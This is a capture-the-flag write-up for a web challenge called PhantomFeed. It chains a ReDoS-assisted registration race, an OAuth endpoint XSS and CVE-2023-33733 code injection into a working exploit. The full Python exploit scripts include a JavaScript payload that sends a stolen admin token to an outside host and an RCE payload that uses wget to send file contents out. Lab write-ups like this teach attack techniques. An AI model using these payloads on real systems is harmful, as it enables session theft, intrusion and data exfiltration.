Note: Backup of challenge source code available at web_phantomfeed.zip.
The PhantomFeed challenge consists of three different components: the marketplace frontend (served at localhost:5000), the marketplace backend (localhost:4000) and a feed of messages (localhost:3000). All of these services are also served by a reverse nginx proxy (localhost:1337) made available on different paths (/, /backend and /phantomfeed respectively).
Similarly, the challenge also consists of three main parts, although we only know that with the power of hindsight.
Registering a user
At /phantomfeed/register we can find the form that is used for registration, which will create a user account that still needs to be verified.
1db_session = Database()
2user_valid, user_id = db_session.create_user(username, password, email)
3
4if not user_valid:
5 return render_template("error.html", title="error", error="user exists"), 401
6
7email_client = EmailClient(email)
8verification_code = db_session.add_verification(user_id)
9email_client.send_email(f"http://phantomfeed.htb/phantomfeed/confirm?verification_code={verification_code}")
However, when we look into the email client, we can see that the code for sending the verification code is actually commented out, so currently not working.
1def send_email(self, message):
2 pass
3 # try:
4 # self.server = smtplib.SMTP(self.smtp_server, self.smtp_port)
5 # self.server.starttls() # Use TLS for security
6 # self.server.login(self.username, self.password)
Circling back a bit, we can see that when a new user is created, it is actually verified as the default value of the verified column of users is set to True:
1class Users(Base):
2 __tablename__ = "users"
3 id = Column(Integer, primary_key=True)
4 verification_code = Column(String)
5 verified = Column(Boolean, default=True)
6 username = Column(String)
7 password = Column(String)
8 email = Column(String)
So this means that between the create_user call and the add_verification call, we have created a user who is actually verified. This means that we have a race condition that would eventually allow us to register and login. However, this interval is unfortunately too small to reliably and practically exploit. Hence, we should try to make the window of opportunity larger. When looking at the implementation of EmailClient, this allows us to do exactly that.
1class EmailClient:
2 def __init__(self, to_email):
3 email_verified = self.parse_email(to_email)
4
5...
6
7 def parse_email(self, email):
8 pattern = r"^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$"
9 try:
10 match = re.match(pattern, email)
11
12...
When checking whether that regular expression is vulnerable to ReDoS, we can see that it is. This allows us to arbitrarily increase the time that the created user is verified. All we have to do is enter an email that takes a long time to parse. Something like 'A@0' + ('AA.0' * n) + 'AA' does the job well (the higher n, the longer the regex takes to match).
Exploiting the ReDoS and race condition looks as follows:
1import random
2import string
3import time
4import asyncio
5import aiohttp
6
7def random_user():
8 return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(16))
9
10BASE_URL = 'http://127.0.0.1:1337' # change with remote IP
11BASE_FEED_URL = BASE_URL + '/phantomfeed'
12
13user = random_user()
14email = 'A@0' + ('AA.0' * 10) + 'AA'
15start = time.time()
16
17async def register(user, email):
18 async with aiohttp.ClientSession() as session, session.post(BASE_FEED_URL + '/register', data={"username": user, "password": "yyy", "email": email}) as response:
19 await response.text()
20 return
21
22async def login(user):
23 async with aiohttp.ClientSession() as session, session.post(BASE_FEED_URL + '/login', data={"username": user, "password": "yyy"}, allow_redirects=False) as response:
24 text = await response.text()
25 if 'Set-Cookie' in response.headers:
26 print(response.headers.get('Set-Cookie'))
27 return text
28
29async def main():
30 t = []
31 t.append(asyncio.create_task(register(user, email)))
32 for x in range(100):
33 t.append(asyncio.create_task(login(user)))
34 await asyncio.gather(*t)
35
36asyncio.run(main())
If successful (in my experience, most of the times) it will spit out the cookies for a registered user.
Stealing administrator token
Once we are able to login, we can access quite some more functionality. One example is adding new messages to the feed, that are then visited by the administrator account (Selenium webdriver, with token of administrator set as the token cookie).
After a lot of searching, and trying different ways to make use of the cookie, I found that the goal might be to steal the token. We can easily do that if we have an XSS (as the HttpOnly attribute is not set on the cookie). So… let’s look for an XSS!
Trying all different endpoints, I noticed that the JSON response in /phantomfeed/oauth2/token was served with text/html as content type. And… this contained the redirect_url, which we can fully control, and wasn’t validated.
So to exploit this we can do the following steps:
- Create an OAuth authorization code for our user (by calling
/phantomfeed/oauth2/code), and set theredirect_urlto<script src=//example.com/exploit.js></script>. - Use that code in the URL for
/phantomfeed/oauth2/tokenendpoint - Send that URL to the administrator bot
- In
exploit.jsget the token from the administrator, using another call to/phantomfeed/oauth2/token(for which we need another valid token) - Leak the admin token to ourselves, and PROFIT
The complete exploit for this second phase looks as follows:
1import requests
2from base64 import b64encode
3
4HOST = "127.0.0.1:1337" # replace with remote host
5BASE_URL = 'http://' + HOST
6BASE_FEED_URL = BASE_URL + '/phantomfeed'
7
8s = requests.session()
9redirect_url = '<script/src=//foo.drud.us/htb-exploit.js></script>'
10token_cookie = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjIyMDA2MiwidXNlcl9pZCI6MjcsInVzZXJuYW1lIjoiaUxKSkxaaGxSMlQwaVVpcCIsInVzZXJfdHlwZSI6InVzZXIifQ.vEvOFjMgvr6atU6IhT1AWjSjrBgxqPj3l2S0oTWyx1ZqlvUejG6Li7FFKtAtF5pvv5jf4TVN25KCE2gZWoJRvE702Ci2Ov0v6RYrwGOYQcUpNEzQZ5l7ueYEVRT8bWUuC3n0h_LNUmmiQHR53N-3IUE9xLKcqSCYw4nDJb-y24gU6P2Vwp4o0W4VbSnDNsBgTalSPbGIEcoo2DO5aupnVtQGCsIBaJ0fqRvDhwhY9zd_VL-mZ3PbVODdyi8efMEVsW6MR_gEPatWIciVfaN92xcty59sOneVGzyYsr6dvVuuiHrAch4VfqizuvO0_OZxrKTh5-vIbSPR1MRr8lTlng" # replace with token obtained in first step
11r = s.get(BASE_FEED_URL + "/oauth2/code?client_id=phantom-market&redirect_url=" + redirect_url, allow_redirects=False, cookies={"token": token_cookie})
12code = r.headers.get('Location').replace(redirect_url + '?authorization_code=', '')
13r = s.get(BASE_FEED_URL + "/oauth2/code?client_id=phantom-market&redirect_url=" + redirect_url, allow_redirects=False, cookies={"token": token_cookie})
14code2 = r.headers.get('Location').replace(redirect_url + '?authorization_code=', '')
15
16
17js = f'''
18(async () => {{
19 let resp = await fetch(`http://127.0.0.1:1337/phantomfeed/oauth2/token?client_id=phantom-market&redirect_url=${{atob('{b64encode(redirect_url.encode()).decode('utf-8')}')}}&authorization_code={code2}`);
20 let json = await resp.json();
21 await fetch(`http://muf9e4po.requestrepo.com/leak?${{json["access_token"]}}`);
22}})();
23'''
24
25print('link to post to feed: ', "@127.0.0.1:1337/phantomfeed/oauth2/token?client_id=phantom-market&redirect_url=" + redirect_url + "&authorization_code=" + code)
26print('JS to host in exploit.js\n=============================================')
27print(js)
RCE to get the flag
One functionality that only administrators can do, is generate PDFs of the orders. The PDF is generated based on an HTML, for which the color parameter can be controlled, and is used in the template as follows:
1<font color="{{ color }}">
2 Orders:
3</font>
Looking for known exploits for the HTML2PDF library that was used, we quickly find CVE-2023-33733, that is an exploit for when the color attribute of a font is abused (surprise, surprise). Simply copy-pasting and adjusting the executed code of the PoC for the CVE did the trick.
The final exploit looks as follows:
1import requests
2
3HOST = "127.0.0.1:1337" # replace with remost host
4BASE_URL = 'http://' + HOST
5BASE_BACKEND_URL = BASE_URL + '/backend'
6
7admin_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjIyMDQxNCwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.nbn6qxsdKQBFtx9m-XQVy8wQlXZq-eSixcoi9PX7EZzRRecHDd2jKq2gElrCBWsmlAy9lZUNbV5BkiKlnfOMylvizqF3D_XbpFP-ExCDnnKcwnJbWA9DslhdsFLVFDuItEosHnQOE37lzs9Q5s1SakD3-PXU1S3vsI8A7kPn5jqxs6TGx0QwOfFJoL7cA8hVR71ZjDWrBtini2bBmOeTyVdEzk7nnrRbWTfO-Hvdp9gW11saDrktLCVuOyDPmWFLP6H9D5LfXuEfzcemd1xtCRc-2x5HwV-W7CmiZ6n5cUgfek7AenUoSC88xkVaicAzbQTShZ6eIT1UbqD2p1IxIQ" # replace with token obtained in second phase
8r = requests.post(BASE_BACKEND_URL + '/orders/html',
9 data={"color": "[[[getattr(pow, Word('__globals__'))['os'].system('wget http://muf9e4po.requestrepo.com/$(cat /flag*)') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'"},
10 headers={"Authorization": f"Bearer {admin_token}"})
While listening for requests, we soon see the flag appearing; HTB{r4c3_2_rc3_04uth2_j4ck3d!}. Yay!
All in all, great challenge - nice that it was built in different phases!